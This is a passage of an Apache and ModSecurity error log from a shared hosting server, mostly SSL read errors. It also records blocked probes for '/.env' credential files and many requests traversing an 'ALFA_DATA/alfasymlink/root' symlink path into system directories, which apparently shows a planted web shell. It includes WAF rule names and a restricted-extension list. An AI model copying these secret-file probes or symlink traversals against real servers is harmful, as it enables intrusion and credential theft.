[Sun Oct 25 00:00:05.915465 2026] [security2:error] [pid 2759047:tid 2759047] [client 130.12.180.163:28512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1-xSywr8jo55pUbmJmsAAAACo"]
[Sun Oct 25 00:00:05.915745 2026] [security2:error] [pid 2759047:tid 2759047] [client 130.12.180.163:28512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1-xSywr8jo55pUbmJmsAAAACo"]
[Sun Oct 25 00:00:05.916073 2026] [security2:error] [pid 2759047:tid 2759047] [client 130.12.180.163:28512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1-xSywr8jo55pUbmJmsAAAACo"]
[Sun Oct 25 00:00:06.559060 2026] [security2:error] [pid 2759074:tid 2759074] [client 130.12.180.171:17736] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1-xtsOgdpl1YJRCNQVOwAAAEU"]
[Sun Oct 25 00:00:06.559371 2026] [security2:error] [pid 2759074:tid 2759074] [client 130.12.180.171:17736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1-xtsOgdpl1YJRCNQVOwAAAEU"]
[Sun Oct 25 00:00:06.559673 2026] [security2:error] [pid 2759074:tid 2759074] [client 130.12.180.171:17736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1-xtsOgdpl1YJRCNQVOwAAAEU"]
[Sun Oct 25 00:00:19.430219 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 54.83.240.58:9260] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:00:22.405738 2026] [ssl:error] [pid 2759072:tid 2759072] (70014)End of file found: [client 3.219.81.66:6809] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:00:26.505441 2026] [core:error] [pid 2759069:tid 2759069] (13)Permission denied: [client 52.70.209.13:60221] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXCPU:01/physical_node/node0/cpu0/crash_notes_size
[Sun Oct 25 00:00:30.883457 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 23.21.175.228:20017] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:00:46.372688 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 44.210.204.255:5994] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:00:50.279710 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.0.63.151:46179] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:00:54.263070 2026] [ssl:error] [pid 2759072:tid 2759072] (70014)End of file found: [client 35.170.205.140:10592] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:00:58.251736 2026] [core:error] [pid 2759069:tid 2759069] (13)Permission denied: [client 34.234.197.175:7633] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory17/subsystem/uevent
[Sun Oct 25 00:01:02.261216 2026] [ssl:error] [pid 2759055:tid 2759055] (70014)End of file found: [client 34.206.249.188:1393] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:01:14.273316 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 52.71.46.142:61289] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:01:17.227230 2026] [core:error] [pid 2759072:tid 2759072] (13)Permission denied: [client 85.208.96.194:27156] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/cpu_slabs
[Sun Oct 25 00:01:18.322223 2026] [ssl:error] [pid 2759069:tid 2759069] (70014)End of file found: [client 3.224.215.150:5286] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:01:22.396695 2026] [ssl:error] [pid 2759055:tid 2759055] (70014)End of file found: [client 52.3.104.214:11329] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:01:46.511853 2026] [ssl:error] [pid 2759007:tid 2759007] (70014)End of file found: [client 18.206.47.187:48067] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:01:54.394942 2026] [ssl:error] [pid 2759043:tid 2759043] (70014)End of file found: [client 107.20.224.184:31334] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:02:02.581582 2026] [core:error] [pid 2759069:tid 2759069] (13)Permission denied: [client 52.1.106.130:59555] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/devices/device:0c/eject
[Sun Oct 25 00:02:14.222103 2026] [ssl:error] [pid 2759048:tid 2759048] (70014)End of file found: [client 52.54.157.23:16449] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:02:18.391108 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 23.21.250.48:47357] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/device:0e/eject
[Sun Oct 25 00:02:30.505411 2026] [ssl:error] [pid 2759072:tid 2759072] (70014)End of file found: [client 54.197.82.195:33382] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:02:34.330690 2026] [ssl:error] [pid 2759069:tid 2759069] (70014)End of file found: [client 52.70.209.13:56849] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:02:38.291055 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.1.106.130:59424] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:02:50.265532 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 3.226.34.98:37762] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:02:51.947456 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 85.208.96.198:12926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/kprobe/subsystem/uevent
[Sun Oct 25 00:02:58.393679 2026] [ssl:error] [pid 2759069:tid 2759069] (70014)End of file found: [client 52.204.81.148:20523] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:03:10.435644 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 85.208.96.211:63326] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/bin/g++
[Sun Oct 25 00:03:14.487378 2026] [ssl:error] [pid 2759072:tid 2759072] (70014)End of file found: [client 18.207.79.144:12413] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:03:16.728127 2026] [authz_core:error] [pid 2759007:tid 2759007] [client 106.74.80.6:53596] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 00:03:23.430077 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 185.191.171.15:16224] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:03:30.377090 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.204.253.129:14211] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:03:42.270766 2026] [ssl:error] [pid 2759055:tid 2759055] (2)No such file or directory: [client 54.91.122.193:34307] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:03:50.267539 2026] [ssl:error] [pid 2759007:tid 2759007] (70014)End of file found: [client 44.205.180.155:7338] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:03:54.259893 2026] [ssl:error] [pid 2759043:tid 2759043] (70014)End of file found: [client 54.235.172.96:36644] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:03:58.469309 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 3.222.190.107:20674] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:04:02.303646 2026] [ssl:error] [pid 2759033:tid 2759033] (70014)End of file found: [client 34.226.89.140:4526] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:04:06.429501 2026] [ssl:error] [pid 2759069:tid 2759069] (70014)End of file found: [client 44.207.69.106:55565] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:04:10.427396 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 54.84.161.62:43833] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:04:14.278080 2026] [ssl:error] [pid 2759048:tid 2759048] (70014)End of file found: [client 54.225.98.148:31330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:04:18.274935 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 54.147.238.89:47527] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:04:22.466129 2026] [ssl:error] [pid 2759007:tid 2759007] (70014)End of file found: [client 98.84.200.43:49197] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:04:26.338322 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 54.156.248.117:37409] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:04:34.261082 2026] [ssl:error] [pid 2759069:tid 2759069] (70014)End of file found: [client 54.164.106.236:54689] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:04:46.245126 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 18.235.158.19:23871] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:04:59.016551 2026] [core:error] [pid 2759033:tid 2759033] (13)Permission denied: [client 16.216.88.106:2048] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/named.empty
[Sun Oct 25 00:05:10.401538 2026] [ssl:error] [pid 2759055:tid 2759055] (70014)End of file found: [client 3.231.193.38:20252] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:05:18.280272 2026] [ssl:error] [pid 2759043:tid 2759043] (70014)End of file found: [client 52.7.33.248:59091] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:05:26.628267 2026] [ssl:error] [pid 2759069:tid 2759069] (70014)End of file found: [client 34.230.124.21:59493] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:05:30.244434 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 44.210.204.255:57074] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/drivers/cirrus/0000:00:02.0/driver/module/sections/__bug_table
[Sun Oct 25 00:05:36.534034 2026] [ssl:error] [pid 2759055:tid 2759055] (70014)End of file found: [client 185.191.171.11:36892] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:05:37.930991 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 185.191.171.19:20294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/fb/parameters/lockless_register_fb
[Sun Oct 25 00:05:38.462644 2026] [ssl:error] [pid 2759007:tid 2759007] (70014)End of file found: [client 54.89.90.224:51534] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:05:40.040868 2026] [ssl:error] [pid 2759043:tid 2759043] (70014)End of file found: [client 85.208.96.199:30786] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:05:40.079591 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 85.208.96.199:30802] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:05:42.250314 2026] [ssl:error] [pid 2759033:tid 2759033] (70014)End of file found: [client 52.4.238.8:35886] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:05:50.372882 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 44.217.255.167:15514] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:05:54.487685 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 52.22.64.232:46735] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:05:59.531745 2026] [ssl:error] [pid 2759055:tid 2759055] (70014)End of file found: [client 54.157.84.74:52785] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:06:02.268923 2026] [ssl:error] [pid 2759007:tid 2759007] (70014)End of file found: [client 44.221.227.90:16590] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:06:06.885254 2026] [ssl:error] [pid 2759043:tid 2759043] (70014)End of file found: [client 100.25.120.246:62324] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:06:10.268773 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 54.197.102.71:5707] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:06:14.380566 2026] [ssl:error] [pid 2759033:tid 2759033] (70014)End of file found: [client 54.87.62.248:61747] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:06:28.707481 2026] [core:crit] [pid 2759007:tid 2759007] (13)Permission denied: [client 95.214.53.196:36044] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 00:06:28.900548 2026] [core:crit] [pid 2759033:tid 2759033] (13)Permission denied: [client 95.214.53.196:54132] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 00:06:30.756874 2026] [ssl:error] [pid 2759069:tid 2759069] (70014)End of file found: [client 107.20.255.194:8871] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:06:34.355138 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.71.218.25:40204] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:06:58.247169 2026] [ssl:error] [pid 2759069:tid 2759069] (70014)End of file found: [client 98.82.107.102:34958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:07:02.311082 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 52.4.213.199:36599] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:07:06.770375 2026] [ssl:error] [pid 2759055:tid 2759055] (70014)End of file found: [client 54.166.126.132:35705] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:07:10.265641 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 18.210.58.238:56469] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:07:18.265459 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 3.210.114.189:5050] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:07:26.511316 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 54.144.185.255:49609] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:07:30.328487 2026] [core:error] [pid 2759033:tid 2759033] (13)Permission denied: [client 98.82.39.241:41502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ata_generic/remove_id
[Sun Oct 25 00:07:31.590809 2026] [ssl:error] [pid 2759007:tid 2759007] (70014)End of file found: [client 185.191.171.12:49660] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:07:31.591111 2026] [security2:error] [pid 2759007:tid 2759007] [client 185.191.171.12:49660] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/ata_device/dev2.0/dma_mode"] [unique_id "at2Ag0dxlPUftbP0pGm0igAAAAQ"]
[Sun Oct 25 00:07:31.591151 2026] [security2:error] [pid 2759007:tid 2759007] [client 185.191.171.12:49660] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/ata_device/dev2.0/dma_mode"] [unique_id "at2Ag0dxlPUftbP0pGm0igAAAAQ"]
[Sun Oct 25 00:07:34.268703 2026] [ssl:error] [pid 2759069:tid 2759069] (70014)End of file found: [client 18.232.12.157:48497] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:07:39.260917 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 3.220.70.171:43322] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:07:42.376454 2026] [ssl:error] [pid 2759048:tid 2759048] (70014)End of file found: [client 100.25.120.246:54197] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:07:46.750350 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 44.223.193.255:39993] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:07:50.504693 2026] [ssl:error] [pid 2759055:tid 2759055] (70014)End of file found: [client 52.204.71.8:47405] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:07:54.261432 2026] [core:error] [pid 2759043:tid 2759043] (13)Permission denied: [client 44.214.19.8:59816] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/new_id
[Sun Oct 25 00:07:58.292385 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 23.23.213.182:31985] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:08:06.504759 2026] [ssl:error] [pid 2759033:tid 2759033] (70014)End of file found: [client 54.84.161.62:24385] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:08:14.544044 2026] [ssl:error] [pid 2759069:tid 2759069] (70014)End of file found: [client 107.22.208.39:15773] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:08:18.454745 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 23.21.225.190:17294] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:08:26.464281 2026] [ssl:error] [pid 2759055:tid 2759055] (70014)End of file found: [client 35.153.86.200:39801] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:08:30.298885 2026] [ssl:error] [pid 2759043:tid 2759043] (70014)End of file found: [client 54.235.125.129:1203] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:08:34.373769 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 3.221.50.71:8293] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:08:42.418784 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 3.215.59.93:3832] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:08:46.078544 2026] [ssl:error] [pid 2759048:tid 2759048] (70014)End of file found: [client 185.191.171.9:46994] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:08:50.484361 2026] [ssl:error] [pid 2759055:tid 2759055] (70014)End of file found: [client 18.215.24.66:31261] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:08:54.435433 2026] [ssl:error] [pid 2759043:tid 2759043] (70014)End of file found: [client 3.94.199.128:10176] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:09:32.646878 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 185.191.171.12:39074] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:09:34.335540 2026] [security2:error] [pid 2759069:tid 2759069] [client 23.21.225.190:50971] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/xen-platform-pci/"] [unique_id "at2A_tNN1ZaQv3xNKA959wAAAEA"]
[Sun Oct 25 00:09:34.335601 2026] [security2:error] [pid 2759069:tid 2759069] [client 23.21.225.190:50971] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/xen-platform-pci/"] [unique_id "at2A_tNN1ZaQv3xNKA959wAAAEA"]
[Sun Oct 25 00:09:38.495462 2026] [ssl:error] [pid 2759033:tid 2759033] (70014)End of file found: [client 3.216.227.216:53981] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:09:42.623613 2026] [ssl:error] [pid 2759007:tid 2759007] (70014)End of file found: [client 23.21.119.232:47409] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:09:43.489051 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 85.208.96.210:36068] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:09:54.277225 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 44.210.204.255:27486] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:09:58.249279 2026] [ssl:error] [pid 2759069:tid 2759069] (70014)End of file found: [client 54.84.250.51:4701] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:10:02.238105 2026] [ssl:error] [pid 2759007:tid 2759007] (5)Input/output error: [client 52.203.152.231:12858] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:10:10.204423 2026] [ssl:error] [pid 2759048:tid 2759048] (70014)End of file found: [client 34.233.114.237:4500] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:10:18.187339 2026] [ssl:error] [pid 2759055:tid 2759055] (70014)End of file found: [client 98.83.177.42:49695] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:10:26.245471 2026] [ssl:error] [pid 2759013:tid 2759013] (70014)End of file found: [client 54.197.114.76:7500] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:10:34.185422 2026] [ssl:error] [pid 2759033:tid 2759033] (70014)End of file found: [client 52.204.37.237:41818] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:10:36.284944 2026] [core:error] [pid 2759007:tid 2759007] (13)Permission denied: [client 185.191.171.19:43876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/trace
[Sun Oct 25 00:10:42.194329 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 107.20.25.33:47616] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:10:42.194539 2026] [security2:error] [pid 2759074:tid 2759074] [client 107.20.25.33:47616] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/msi_bus"] [unique_id "at2BQtsOgdpl1YJRCNQVUQAAAEU"]
[Sun Oct 25 00:10:42.194574 2026] [security2:error] [pid 2759074:tid 2759074] [client 107.20.25.33:47616] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/msi_bus"] [unique_id "at2BQtsOgdpl1YJRCNQVUQAAAEU"]
[Sun Oct 25 00:10:46.419212 2026] [ssl:error] [pid 2759055:tid 2759055] (70014)End of file found: [client 54.225.199.17:30233] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:10:56.501620 2026] [security2:error] [pid 2759069:tid 2759069] [client 43.165.198.5:52928] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at2BUNNN1ZaQv3xNKA95-gAAAEA"]
[Sun Oct 25 00:11:29.658190 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 85.208.96.206:20952] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/remote_node_defrag_ratio
[Sun Oct 25 00:11:32.389202 2026] [security2:error] [pid 2759043:tid 2759043] [client 85.208.96.196:60002] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/slicoss/gbrcvucode.sys"] [unique_id 